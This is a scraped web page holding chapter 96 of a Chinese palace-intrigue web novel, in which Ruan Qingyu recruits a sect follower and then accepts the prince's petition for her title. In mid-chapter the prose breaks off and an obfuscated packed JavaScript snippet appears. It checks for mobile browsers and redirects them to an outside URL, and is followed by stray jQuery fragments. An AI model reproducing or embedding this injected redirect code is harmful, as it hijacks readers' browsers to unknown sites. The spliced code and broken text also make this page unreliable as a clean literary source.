96.第 96 章
作品:《景元七年轶闻》 阮青钰一时间真想不出什么好的理由来拒绝,贺云晟给她靠近的机会,在他而言,是恩赏,对阮青钰来说,本来也该是立功的时机。
但她害怕,怕贺云晟心中不该起的念头最终被证实是一场误会,贺云晟一定会觉得自己被戏耍了,以他惯来的骄傲,届时贺云晟收回所有温情,她的一切努力都会付诸东流。
本来贺云晟和她之间,很简单,她效力,他记功,她忠心,他嘉奖。现在掺杂了虚空的感情,她的功劳很可能随着他感情的起落被埋没。
这样下去不行,拖得越久越不利,不如现在把话说清楚,不过两天的误会,应该远不到由爱生恨的程度,顶多是彼此间尴尬几天。
阮青钰深吸一口气,决定坦白,将反噬降至最低。
忽而有人扣门。
是贺云别。
能进到这里,又不必先说禀告的,只有贺云别。
“进。”
果然是贺云别推门而入,他见阮青钰在此,“我就怕来得不巧,还是不巧了。”
“那不如等巧了再来。”
“不是我说,你也是没有心,人家也跟了你许久,生死相随的,现在还是个姨娘,连个夫人的分位都没得着。”
“和你有关系吗?”
“没有。但接下来这件事,和我可是有大关系。”
他们要说正事儿,阮青钰也要去禾翠那里,告退出来。
阮青钰慢条斯理吃饭,禾翠本来一脸戒备,不打算吃,但饭菜实在诱人,本着不吃白不吃,做鬼也做饱死鬼的原则,禾翠从艾草糕到小肉包,从瘦肉粥到桂花茶,一应吃了个遍,待禾翠吃完,碗碗碟碟都干净雪白了。
“哪个最好吃?”
“肉包,桂花茶也好喝,我从没喝过这么好喝的水。”
阮青钰吩咐时霜:“让厨房加两屉肉包和一壶桂花茶。”
“我,我吃饱了。”
吃没吃饱,若是阮青钰都看不出来,也算白流浪一世。
“你是真的很能吃,你婶婶也不算说错了。”
“我,我能吃怎么了,我吃你家……”禾翠停住了,她确实吃了阮青钰家的饭。
“我喜欢能吃的人。”
“啊?”
“人生大事,吃睡两件。安身之本,必资于食。吃好了,才有活下去的能量。你是练家子,更要多吃些。”
禾翠活了小二十年,从来只听别人嫌她太能吃,直到加入重莲道。道中其实也不富裕,兄弟们都没她吃得多,久了便有人取笑她,入道莫不只是为了吃顿饱饭,她一下红了脸,因为他们说得对。
道尊说的那些经经道道,她其实一点不懂,就连道中的口号,短短几个字,都背了许久,她觉得太拗口了。但她对道尊的敬仰不掺半点假,她觉得道尊是她见过最有学识最有心胸的人。
别人都笑她吃得多,只有道尊见了说:“人无饮食,犹草木之失水土,水土丰厚,草木才茂盛,世之常伦。”
禾翠没听懂,但她能感到道尊说话时的慈爱,绝不是笑话她。旁边读过书的兄弟告诉她:“道尊是让你,能吃就多吃。”
这她就听懂了。
阮青钰是第二个这样说的人。
禾翠心中涌出一阵暖流。
“但吃饭是要银子的,吃得多,要的银子就多。”阮青钰悠悠说。
什么意思?不是要管她收银子吧,开什么玩笑,吃完了才说,把她打包卖了,也买不起这几顿饭。
阮青钰察觉到禾翠的紧绷。
“你无需紧张,我不要你的银子,相反,我还会给你发银子。”
“什么?”
“从今后,你就在我身边做事,这样的饭,顿顿管饱,月钱八百。”
饶是禾翠早已决定以身入道,追随道尊终生,第一反应还是:“真的?”
但她马上反应过来。
“真的假的都不行,我有工可做。”
“做工又不是卖身了,自然是择优。”
“那也不行,反正我只有一个主子。”
阮青钰起身关上房门,还背对着禾翠。
“主子?是你的道尊?”
“你……你听到了,不是,我没说过,什么都没有。”
昨天阮青钰没有追问,禾翠以为她不曾留意,她有些慌,只能矢口否认。
“禾翠,我不是你的敌人,也不是道尊的敌人,如若不然,你此刻已经在拱星卫的刑架上。”
“你少哄我,我知道,我不聪明,但也不是你三言两语就能唬住的。”
“你为什么效忠你的道尊?”
“与你无关!”
阮青钰不慌不忙坐下,看禾翠站在对面整个人剑拔弩张。明明阮青钰矮半头,却气定神闲,压制了禾翠。
“你现在有两个选择,一是去挨严刑拷打,或是挨不过招供,或是挨住了落得连人形也无。二是,跟着我,好吃好喝好赚钱,以前你所效忠的,今后未必不能效忠。”
“什么意思?我若跟了你,还怎么效忠道尊?”
“你忠于道尊,就只是忠于一个具体的人吗?他有的,我也可以有啊。那忠于他,和忠于我,区别大吗?”
“你?你有什么?”
阮青钰朝禾翠招手,示意她躬身低头。
阮青钰附在她耳边轻轻说了四个字。
“是、法、平、等。”
禾翠却像触电一样,一下弹了起来。
禾翠稳了片刻,才压低声音试探着说:“无,无分高下?”
“是法平等,无分高下”,就是这八个字让禾翠记了许久,重莲道的宗义。
阮青钰不置可否,只是笑了笑。
“你……你究竟是谁?我不曾在……见过你。”
“我是谁不重要,重要的是,你在我身边,不违背你心中的一切。”
“不急于一时做决定,你好好考量考量。”
阮青钰起身,“噢,对了,我们刚才说的,是秘密喔。”
阮青钰伸出小指,禾翠还在震惊中,没有反应。
阮青钰伸手勾住了她的小指,“说好了,谁都不许说出去。”
午后,阮青钰等贺云晟午休结束去请安。
阮青钰知道把误会解释清楚,无异于一盆冷水,但她觉得以贺云晟的气度,他担得住这盆冷水。她应该,也能承担他冷情的后果。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321992|190233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“殿下,其实……”
阮青钰在心里练习许多次,还是说不顺畅。
贺云晟见她吞吞吐吐,知道她有为难的事,他大概料到是什么事情。
“早上贺云别说的事情,你不必忧心,请封的事情,我已经上奏本了。”
阮青钰呆住,请封?上奏?
“昨天,我上奏禀事,已经将请封的奏本一起寄呈给陛下了,今后他们叫你夫人,你听着就好。”
阮青钰在贺云晟身边有些日子了,她已经知道王世子夫人这个封号意味着什么。
上次贺云晟说她可以拿功劳换这个封号的时候,她还不清楚,王世子夫人绝不是昨晚贺云别调侃时那样轻巧的几个字。
其实,大夏建朝以来,王世子的内眷多数只有世子妃、世子侧妃有封位,别的女人一般不会受封,做侧妃都够不上的,就是普通妾室。若是出身不高不够做妃,但备受宠爱或是育有子女还熬了些资历的,由王爷上请、皇帝册准,可以封为世子夫人。
但贺云晟说他自己上奏请封,后来阮青钰知道,这是贺云晟的特权,他的世子妃、世子侧妃都是由他自己上奏请封的,不必经过景王。是皇帝给贺云晟的特权。
阮青钰还知道,大夏开国以来都没有几个世子夫人,因为麻烦,很少有世子会给自己的普通妾室去争这个荣耀。
是以王世子夫人这个封位,几乎等同于宠妾二字。
男人啊,动情的时候,真是会给人惊喜。
阮青钰忽然想起周氏说的话,“笼络住你的夫君”,真是警世恒言。
阮青钰多少鞍前马后,比不过一场误会,轻易带来这样的好处。
“我自知粗浅,不值得殿下这样费心。”
“你今天是怎么了,你一贯只会往前冲,想要的就去争。我以为你会高兴。”
“我很高兴,我只是怕,殿下来日会后悔。”
“这有什么可后悔的,我说你值得,你就值得。”
阮青钰本来说不出的话,现下更加说不出了。
“待陛下的旨意下来,你就是正五品王世子夫人,你会被记在皇家玉牒之上,写在我的族系之中。”
贺云晟看着她的眼睛说出这句话,有郑重有情意,似乎还有些许不安,像是害怕不能得到想要的答复。
阮青钰算不上十分了解贺云晟,但此刻,她能感到,这大概就是来自贺云晟的告白,是他对生死之际那晚阮青钰誓约的回应。
他给的承诺,是将阮青钰的姓氏写在他的族谱上。从此,阮青钰在王府之中就不是半个奴婢,是正经主子,她有分位品级,他时殁了,宗人府也是要问一句的。
若是这样糊里糊涂受封,她就没有退路了。假的,也要认作是真的。
阮青钰应该立刻把话说清楚。
她看着贺云晟的眼睛,那里盛满了少年热烈直白的情意。
她倏地垂下眼眸,她不敢直视这样一双眼睛。
忽而她唇角微起,像是忍不住为爱人的表白而欣喜,她轻轻说:“比起位分,更让我高兴的,是你的心意。”
言罢抬眸,匆匆一眼便只低头微笑,真如十几岁少女在情人面前的娇羞。

